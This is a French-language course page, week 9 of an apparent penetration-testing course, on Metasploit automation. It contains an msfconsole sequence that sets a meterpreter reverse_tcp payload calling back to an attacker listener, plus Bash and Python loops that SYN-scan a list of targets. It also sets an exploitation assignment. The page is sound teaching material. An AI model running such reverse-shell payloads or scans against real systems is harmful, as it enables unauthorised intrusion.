Aller au contenu principal

Semaine 9 — Automatisation et Metasploit

Objectifs pédagogiques

  • Comprendre le modèle de Metasploit : exploit, payload, listener.
  • Automatiser les étapes répétitives sans perdre la traçabilité.
  • Utiliser Python et Bash pour ce que Metasploit ne fait pas bien.

Le modèle Metasploit en trois pièces

  • Exploit : la logique qui déclenche la faille.
  • Payload : ce que l'exploit fait exécuter (meterpreter/reverse_tcp par exemple).
  • Listener : le service côté attaquant qui reçoit la connexion inverse.
msfconsole -q
use exploit/multi/http/example
set RHOSTS 10.0.0.15
set LHOST 10.0.0.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run

Ce qu'il faut avoir compris avant de lancer run :

  • Où arrive la connexion inverse. Sur un réseau NAT, le trafic ne remonte pas magiquement.
  • La compatibilité exploit ↔ payload : linux/x64 ne fonctionne pas sur une cible 32 bits.
  • L'empreinte laissée : Meterpreter est bruyant, shell_reverse_tcp l'est moins.

Scripter proprement autour de Metasploit

# Boucle Bash contrôlée : idempotente, journalisée, jamais silencieuse.
for hote in $(cat cibles.txt); do
echo "[+] $(date -Is) test $hote"
nmap -sS -p 22,80,443 -oN "logs/$hote.nmap" "$hote"
done
# Python pour un traitement que Bash rendrait fragile.
import ipaddress, subprocess, json, pathlib

reseau = ipaddress.ip_network("10.0.0.0/28")
resultats = {}
for hote in map(str, reseau.hosts()):
process = subprocess.run(["nmap", "-sS", "-p", "22,80,443", "-oX", "-", hote],
capture_output=True, text=True, check=False)
resultats[hote] = process.stdout
pathlib.Path("logs/scan.json").write_text(json.dumps(resultats, indent=2))

Règles de traçabilité

  • Un dossier par mission, versionné en Git privé (jamais sur GitHub public).
  • Un fichier commandes.md où vous copiez chaque commande avant de l'exécuter.
  • Les captures d'écran datées et numérotées.

TP2 — À remettre cette semaine

Livrable attendu : trois vulnérabilités du Top 10 exploitées sur une application vulnérable choisie en semaine 7, avec requête complète, capture d'écran, impact et remédiation. 8 à 12 pages.